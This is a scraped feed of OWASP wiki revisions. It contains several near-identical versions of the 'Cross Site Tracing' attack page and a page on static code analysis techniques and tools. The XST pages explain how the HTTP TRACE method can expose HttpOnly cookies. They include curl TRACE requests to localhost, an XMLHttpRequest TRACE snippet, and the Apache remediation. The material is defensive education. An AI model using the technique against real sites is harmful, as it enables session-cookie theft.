[[Category:Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Cross_Site_Tracing&diff=148409Cross Site Tracing2013-03-22T09:35:39Z<p>Ryan Dewhurst: added link to "XSS: Gaining access to HttpOnly Cookie in 2012" page, also explained why TRACE in AJAX doesnt work</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
A '''Cross-Site Tracing (XST)''' attack involves the use of [[Cross-site Scripting (XSS)]] and the TRACE HTTP method. According to [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html RFC 2616], "TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.". XST could be used as a method to steal user's cookies via [[Cross-site Scripting (XSS)]] even if the cookie has the "[[HttpOnly]]" flag set.<br />
<br />
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HttpOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as [[HttpOnly]] forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples==<br />
<br />
An example using cURL from the command line to send a TRACE request to a web server on the localhost with TRACE enabled. Notice how the web server responds with the request that was sent to it.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
</pre><br />
<br />
In this example notice how we send a Cookie header with the request and it is also in the web server's response.<br />
<br />
<pre><br />
$ curl -X TRACE -H "Cookie: name=value" 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
Cookie: name=value<br />
</pre><br />
<br />
In this example the TRACE method is disabled, notice how we get an error instead of the request we sent.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><br />
<html><head><br />
<title>405 Method Not Allowed</title><br />
</head><body><br />
<h1>Method Not Allowed</h1><br />
<p>The requested method TRACE is not allowed for the URL /.</p><br />
</body></html><br />
</pre><br />
<br />
Example JavaScript XMLHttpRequest TRACE request. In Firefox 19.0.2 it will not work and return a "Illegal Value" error. In Google Chrome 25.0.1364.172 it will not work and return a "Uncaught Error: SecurityError: DOM Exception 18" error. This is because modern browsers now block the TRACE method in XMLHttpRequest to help mitigate XST.<br />
<br />
<pre><br />
<script><br />
var xmlhttp = new XMLHttpRequest();<br />
var url = 'http://127.0.0.1/';<br />
<br />
xmlhttp.withCredentials = true; // send cookie header<br />
xmlhttp.open('TRACE', url, false);<br />
xmlhttp.send();<br />
</script><br />
</pre><br />
<br />
== Remediation ==<br />
<br />
===Apache===<br />
In Apache versions 1.3.34, 2.0.55 and later, set the TraceEnable directive to "off" in the main configuration file and then restart Apache. See [http://httpd.apache.org/docs/2.2/mod/core.html#traceenable TraceEnable] for further information.<br />
<br />
<pre><br />
TraceEnable off<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
TBD<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br />
* [[Testing for HTTP Methods and XST (OWASP-CM-008)]]<br />
* [http://osvdb.org/show/osvdb/877 OSVDB 877]<br />
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3398 CVE-2005-3398]<br />
* [http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html XSS: Gaining access to HttpOnly Cookie in 2012]<br />
<br />
<br />
[[Category:Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Cross_Site_Tracing&diff=148388Cross Site Tracing2013-03-21T23:01:26Z<p>Ryan Dewhurst: Added description from 'Testing for HTTP Methods and XST (OWASP-CM-008)' page.</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
A '''Cross-Site Tracing (XST)''' attack involves the use of [[Cross-site Scripting (XSS)]] and the TRACE HTTP method. According to [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html RFC 2616], "TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.". XST could be used as a method to steal user's cookies via [[Cross-site Scripting (XSS)]] even if the cookie has the "[[HttpOnly]]" flag set.<br />
<br />
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HttpOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as [[HttpOnly]] forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples==<br />
<br />
An example using cURL from the command line to send a TRACE request to a web server on the localhost with TRACE enabled. Notice how the web server responds with the request that was sent to it.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
</pre><br />
<br />
In this example notice how we send a Cookie header with the request and it is also in the web server's response.<br />
<br />
<pre><br />
$ curl -X TRACE -H "Cookie: name=value" 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
Cookie: name=value<br />
</pre><br />
<br />
In this example the TRACE method is disabled, notice how we get an error instead of the request we sent.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><br />
<html><head><br />
<title>405 Method Not Allowed</title><br />
</head><body><br />
<h1>Method Not Allowed</h1><br />
<p>The requested method TRACE is not allowed for the URL /.</p><br />
</body></html><br />
</pre><br />
<br />
Example JavaScript XMLHttpRequest TRACE request. In Firefox 19.0.2 it will not work and return a "Illegal Value" error. In Google Chrome 25.0.1364.172 it will not work and return a "Uncaught Error: SecurityError: DOM Exception 18" error.<br />
<br />
<pre><br />
<script><br />
var xmlhttp = new XMLHttpRequest();<br />
var url = 'http://127.0.0.1/';<br />
<br />
xmlhttp.withCredentials = true; // send cookie header<br />
xmlhttp.open('TRACE', url, false);<br />
xmlhttp.send();<br />
</script><br />
</pre><br />
<br />
== Remediation ==<br />
<br />
===Apache===<br />
In Apache versions 1.3.34, 2.0.55 and later, set the TraceEnable directive to "off" in the main configuration file and then restart Apache. See [http://httpd.apache.org/docs/2.2/mod/core.html#traceenable TraceEnable] for further information.<br />
<br />
<pre><br />
TraceEnable off<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
TBD<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br />
* [[Testing for HTTP Methods and XST (OWASP-CM-008)]]<br />
* [http://osvdb.org/show/osvdb/877 OSVDB 877]<br />
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3398 CVE-2005-3398]<br />
<br />
<br />
[[Category:Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Cross_Site_Tracing&diff=148384Cross Site Tracing2013-03-21T22:51:53Z<p>Ryan Dewhurst: </p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
A '''Cross-Site Tracing (XST)''' attack involves the use of [[Cross-site Scripting (XSS)]] and the TRACE HTTP method. According to [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html RFC 2616], "TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.". XST could be used as a method to steal user's cookies via [[Cross-site Scripting (XSS)]] even if the cookie has the "[[HttpOnly]]" flag set.<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples==<br />
<br />
An example using cURL from the command line to send a TRACE request to a web server on the localhost with TRACE enabled. Notice how the web server responds with the request that was sent to it.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
</pre><br />
<br />
In this example notice how we send a Cookie header with the request and it is also in the web server's response.<br />
<br />
<pre><br />
$ curl -X TRACE -H "Cookie: name=value" 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
Cookie: name=value<br />
</pre><br />
<br />
In this example the TRACE method is disabled, notice how we get an error instead of the request we sent.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><br />
<html><head><br />
<title>405 Method Not Allowed</title><br />
</head><body><br />
<h1>Method Not Allowed</h1><br />
<p>The requested method TRACE is not allowed for the URL /.</p><br />
</body></html><br />
</pre><br />
<br />
Example JavaScript XMLHttpRequest TRACE request. In Firefox 19.0.2 it will not work and return a "Illegal Value" error. In Google Chrome 25.0.1364.172 it will not work and return a "Uncaught Error: SecurityError: DOM Exception 18" error.<br />
<br />
<pre><br />
<script><br />
var xmlhttp = new XMLHttpRequest();<br />
var url = 'http://127.0.0.1/';<br />
<br />
xmlhttp.withCredentials = true; // send cookie header<br />
xmlhttp.open('TRACE', url, false);<br />
xmlhttp.send();<br />
</script><br />
</pre><br />
<br />
== Remediation ==<br />
<br />
===Apache===<br />
In Apache versions 1.3.34, 2.0.55 and later, set the TraceEnable directive to "off" in the main configuration file and then restart Apache. See [http://httpd.apache.org/docs/2.2/mod/core.html#traceenable TraceEnable] for further information.<br />
<br />
<pre><br />
TraceEnable off<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
TBD<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br />
* [[Testing for HTTP Methods and XST (OWASP-CM-008)]]<br />
* [http://osvdb.org/show/osvdb/877 OSVDB 877]<br />
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3398 CVE-2005-3398]<br />
<br />
<br />
[[Category:Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Cross_Site_Tracing&diff=148383Cross Site Tracing2013-03-21T22:30:27Z<p>Ryan Dewhurst: Removed Linux as I was using OS X and you can see that from the ua string</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
A '''Cross-Site Tracing (XST)''' attack involves the use of [[Cross-site Scripting (XSS)]] and the TRACE HTTP method. According to [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html RFC 2616], "TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.". XST could be used as a method to steal user's cookies via [[Cross-site Scripting (XSS)]] even if the cookie has the "[[HttpOnly]]" flag set.<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples==<br />
<br />
An example using cURL from the command line to send a TRACE request to a web server on the localhost with TRACE enabled. Notice how the web server responds with the request that was sent to it.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
</pre><br />
<br />
In this example notice how we send a Cookie header with the request and it is also in the web server's response.<br />
<br />
<pre><br />
$ curl -X TRACE -H "Cookie: name=value" 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
Cookie: name=value<br />
</pre><br />
<br />
In this example the TRACE method is disabled, notice how we get an error instead of the request we sent.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><br />
<html><head><br />
<title>405 Method Not Allowed</title><br />
</head><body><br />
<h1>Method Not Allowed</h1><br />
<p>The requested method TRACE is not allowed for the URL /.</p><br />
</body></html><br />
</pre><br />
<br />
== Remediation ==<br />
<br />
===Apache===<br />
In Apache versions 1.3.34, 2.0.55 and later, set the TraceEnable directive to "off" in the main configuration file and then restart Apache. See [http://httpd.apache.org/docs/2.2/mod/core.html#traceenable TraceEnable] for further information.<br />
<br />
<pre><br />
TraceEnable off<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
TBD<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br />
* [[Testing for HTTP Methods and XST (OWASP-CM-008)]]<br />
* [http://osvdb.org/show/osvdb/877 OSVDB 877]<br />
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3398 CVE-2005-3398]<br />
<br />
<br />
[[Category:Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Cross_Site_Tracing&diff=148382Cross Site Tracing2013-03-21T22:23:33Z<p>Ryan Dewhurst: Added a lot of information, amended the description.</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
A '''Cross-Site Tracing (XST)''' attack involves the use of [[Cross-site Scripting (XSS)]] and the TRACE HTTP method. According to [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html RFC 2616], "TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.". XST could be used as a method to steal user's cookies via [[Cross-site Scripting (XSS)]] even if the cookie has the "[[HttpOnly]]" flag set.<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples==<br />
<br />
An example using cURL from a Linux command line to send a TRACE request to a web server on the localhost with TRACE enabled. Notice how the web server responds with the request that was sent to it.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
</pre><br />
<br />
In this example notice how we send a Cookie header with the request and it is also in the web server's response.<br />
<br />
<pre><br />
$ curl -X TRACE -H "Cookie: name=value" 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
Cookie: name=value<br />
</pre><br />
<br />
In this example the TRACE method is disabled, notice how we get an error instead of the request we sent.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><br />
<html><head><br />
<title>405 Method Not Allowed</title><br />
</head><body><br />
<h1>Method Not Allowed</h1><br />
<p>The requested method TRACE is not allowed for the URL /.</p><br />
</body></html><br />
</pre><br />
<br />
== Remediation ==<br />
<br />
===Apache===<br />
In Apache versions 1.3.34, 2.0.55 and later, set the TraceEnable directive to "off" in the main configuration file and then restart Apache. See [http://httpd.apache.org/docs/2.2/mod/core.html#traceenable TraceEnable] for further information.<br />
<br />
<pre><br />
TraceEnable off<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
TBD<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br />
* [[Testing for HTTP Methods and XST (OWASP-CM-008)]]<br />
* [http://osvdb.org/show/osvdb/877 OSVDB 877]<br />
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3398 CVE-2005-3398]<br />
<br />
<br />
[[Category:Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Static_Code_Analysis&diff=148191Static Code Analysis2013-03-19T22:57:48Z<p>Ryan Dewhurst: Added __FORCETOC__ to create contents table</p>
<hr />
<div>{{Template:Stub}}<br />
<br />
Every '''[[Control]]''' should follow this template.<br />
<br />
{{Template:Control}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
<br />
Static Code Analysis (also known as Source Code Analysis) is usually performed as part of a Code Review (also known as white-box testing) and is carried out at the Implementation phase of a Security Development Lifecycle (SDL). Static Code Analysis commonly refers to the running of Static Code Analysis tools that attempt to highlight possible vulnerabilities within 'static' (non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.<br />
<br />
Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.<br />
<br />
Some tools are starting to move into the Integrated Development Environment (IDE). For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.<br />
<br />
The UK Defense Standard 00-55 requires that Static Code Analysis be used on all 'safety related software in defense equipment'. [0]<br />
<br />
==Techniques==<br />
There are various techniques to analyze static source code for potential vulnerabilities that maybe combined into one solution. These techniques are often derived from compiler technologies.<br />
<br />
===Data Flow Analysis===<br />
Data flow analysis is used to collect run-time (dynamic) information about data in software while it is in a static state (Wögerer, 2005).<br />
<br />
There are three common terms used in data flow analysis, basic block (the code), Control Flow Analysis (the flow of data) and Control Flow Path (the path the data takes):<br />
<br />
Basic block: A sequence of consecutive instructions where control enters at the beginning of a block, control leaves at the end of a block and the block cannot halt or branch out except at its end (Wögerer, 2005).<br />
<br />
Example PHP basic block:<br />
<br />
<pre><br />
1. $a = 0;<br />
2. $b = 1;<br />
3. <br />
4. if ($a == $b) <br />
5. { # start of block<br />
6. echo “a and b are the same”;<br />
7. } # end of block <br />
8. else <br />
9. { # start of block <br />
10. echo “a and b are different”;<br />
11.} # end of block<br />
</pre><br />
<br />
=== Control Flow Graph (CFG) ===<br />
An abstract graph representation of software by use of nodes that represent basic blocks. A node in a graph represents a block; directed edges are used to represent jumps (paths) from one block to another. If a node only has an exit edge, this is known as an ‘entry’ block, if a node only has a entry edge, this is know as an ‘exit’ block (Wögerer, 2005).<br />
<br />
Example Control Flow Graph; ‘node 1’ represents the entry block and ‘node 6’ represents the exit block.<br />
<br />
[[File:Control_flow_graph.png|400x200px]]<br />
<br />
===Taint Analysis===<br />
Taint Analysis attempts to identify variables that have been 'tainted' with user controllable input and traces them to possible vulnerable functions also known as a 'sink'. If the tainted variable gets passed to a sink without first being sanitized it is flagged as a vulnerability.<br />
<br />
Some programming languages such as Perl and Ruby have Taint Checking built into them and enabled in certain situations such as accepting data via CGI.<br />
<br />
===Lexical Analysis===<br />
Lexical Analysis converts source code syntax into ‘tokens’ of information in an attempt to abstract the source code and make it easier to manipulate (Sotirov, 2005).<br />
<br />
Pre tokenised PHP source code:<br />
<br />
<pre><br />
&lt;?php $name = "Ryan"; ?&gt;<br />
</pre><br />
<br />
Post tokenised PHP source code:<br />
<br />
<pre><br />
T_OPEN_TAG<br />
T_VARIABLE<br />
=<br />
T_CONSTANT_ENCAPSED_STRING<br />
;<br />
T_CLOSE_TAG<br />
</pre><br />
<br />
==Strengths and Weaknesses==<br />
<br />
=== Strengths ===<br />
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))<br />
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.<br />
<br />
=== Weaknesses ===<br />
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.<br />
* High numbers of false positives.<br />
* Frequently can't find configuration issues, since they are not represented in the code.<br />
* Difficult to 'prove' that an identified security issue is an actual vulnerability.<br />
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.<br />
<br />
==Limitations==<br />
<br />
===False Positives===<br />
A static code analysis tool will often produce false positive results where the tool reports a possible vulnerability that in fact is not. This often occurs because the tool cannot be sure of the integrity and security of data as it flows through the application from input to output.<br />
<br />
False positive results might be reported when analysing an application that interacts with closed source components or external systems because without the source code it is impossible to trace the flow of data in the external system and hence ensure the integrity and security of the data.<br />
<br />
===False Negatives===<br />
The use of static code analysis tools can also result in false negative results where vulnerabilities result but the tool does not report them. This might occur if a new vulnerability is discovered in an external component or if the analysis tool has no knowledge of the runtime environment and whether it is configured securely.<br />
<br />
==Important Selection Criteria==<br />
<br />
* Requirement: Must support your language, but not usually a key factor once it does.<br />
* Types of Vulnerabilities it can detect (The OWASP Top Ten?) (more?)<br />
* Does it require a fully buildable set of source?<br />
* Can it run against binaries instead of source?<br />
* Can it be integrated into the developer's IDE?<br />
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)<br />
* Does it support Object-oriented programming (OOP)?<br />
<br />
==Examples==<br />
<br />
===RIPS PHP Static Code Analysis Tool===<br />
[[File:Rips.jpg|400px|thum|]]<br />
<br />
===OWASP LAPSE+ Static Code Analysis Tool===<br />
[[File:LapsePlusScreenshot.png|400px|thum|]]<br />
<br />
== Tools ==<br />
<br />
===OWASP Tools===<br />
* [https://www.owasp.org/index.php/Category:OWASP_Code_Crawler OWASP Code Crawler] (.NET & Java)<br />
* [https://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project] (Java,PHP,C & JSP)<br />
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]] (Java)<br />
* [[OWASP O2 Platform]]<br />
<br />
=== Open Source/Free ===<br />
<br />
* [http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/ Google CodeSearchDiggity] (Multiple)<br />
* [http://pmd.sourceforge.net/ PMD] (Java)<br />
* [http://www.dwheeler.com/flawfinder/ FlawFinder] (C/C++)<br />
* [http://msdn.microsoft.com/en-us/library/bb429476(v=vs.80).aspx Microsoft FxCop] (.NET)<br />
* [http://www.splint.org Splint] (C)<br />
* [http://findbugs.sourceforge.net/ FindBugs] (Java)<br />
* [http://sourceforge.net/projects/rips-scanner/ RIPS] (PHP)<br />
* [http://sourceforge.net/projects/agnitiotool/ Agnitio] (Objective-C, C#, Java & Android)<br />
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx Microsoft PreFast] (C/C++)<br />
* [https://www.fortify.com/ssa-elements/threat-intelligence/rats.html Fortify RATS] (C, C++, Perl, PHP & Python)<br />
* [http://www.devbug.co.uk DevBug] (PHP)<br />
<br />
=== Commercial ===<br />
<br />
* [https://www.fortify.com/ Fortify] (OWASP Member)<br />
* [https://www.veracode.com/ Veracode] (OWASP Member)<br />
* [http://www.grammatech.com/ GrammaTech]<br />
* [http://www.parasoft.com/jsp/home.jsp ParaSoft]<br />
* [http://www.armorize.com/codesecure/ Armorize CodeSecure] (OWASP Member)<br />
* [http://www.checkmarx.com/ Checkmarx Static Code Analysis] (OWASP Member)<br />
* [http://www-01.ibm.com/software/rational/products/appscan/source/ Rational AppScan Source Edition]<br />
* [http://www.coverity.com/products/static-analysis.html Coverity]<br />
* [http://www.klocwork.com/products/insight.asp Insight]<br />
<br />
===Other Tool Lists===<br />
<br />
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html NIST - Source Code Security Analyzers]<br />
* [http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis Wikipedia - List of tools for static code analysis]<br />
<br />
==References==<br />
<br />
[0] Ministry of Defence (MoD). (1997) ''SAFETY RELATED SOFTWARE IN DEFENSE EQUIPMENT'' [Online]. Available at: http://www.software-supportability.org/Docs/00-55_Part_2.pdf (Accessed: 5 January 2012).<br />
<br />
[1] Northumbria University. (2012) ''Implementing Basic Static Code Analysis into Integrated Development Environments (IDEs) to Reduce Software Vulnerabilities'' [Online]. Available at: http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/09/Implementing-Basic-Static-Code-Analysis-into-Integrated-Development-Environments-IDEs-to-Reduce-Software-Vulnerabilities.pdf (Accessed: 19 March 2013)<br />
<br />
== Further Reading ==<br />
<br />
* [https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf OWASP Code Review Guide v1.1]<br />
* http://www.crosstalkonline.org/storage/issue-archives/2003/200311/200311-German.pdf<br />
* http://www.ida.liu.se/~TDDC90/papers/industrial95.pdf<br />
* http://www.php-security.org/downloads/rips.pdf<br />
* http://www.seclab.tuwien.ac.at/papers/pixy.pdf<br />
<br />
[[Category:FIXME|<br />
<br />
<br />
In addition, one should classify control based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Control]]</nowiki><br />
<br />
Availability Control<br />
<br />
Authorization Control<br />
<br />
Authentication Control<br />
<br />
Concurrency Control<br />
<br />
Configuration Control<br />
<br />
Cryptographic Control<br />
<br />
Encoding Control<br />
<br />
Error Handling Control<br />
<br />
Input Validation Control<br />
<br />
Logging and Auditing Control<br />
<br />
Session Management Control<br />
]]<br />
__FORCETOC__<br />
<br />
[[Category:Control]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Web_Application_Security_Testing_Cheat_Sheet&diff=148188Web Application Security Testing Cheat Sheet2013-03-19T22:53:43Z<p>Ryan Dewhurst: Added link to my profile</p>
<hr />
<div>= DRAFT CHEAT SHEET - WORK IN PROGRESS =<br />
<br />
= Introduction =<br />
<br />
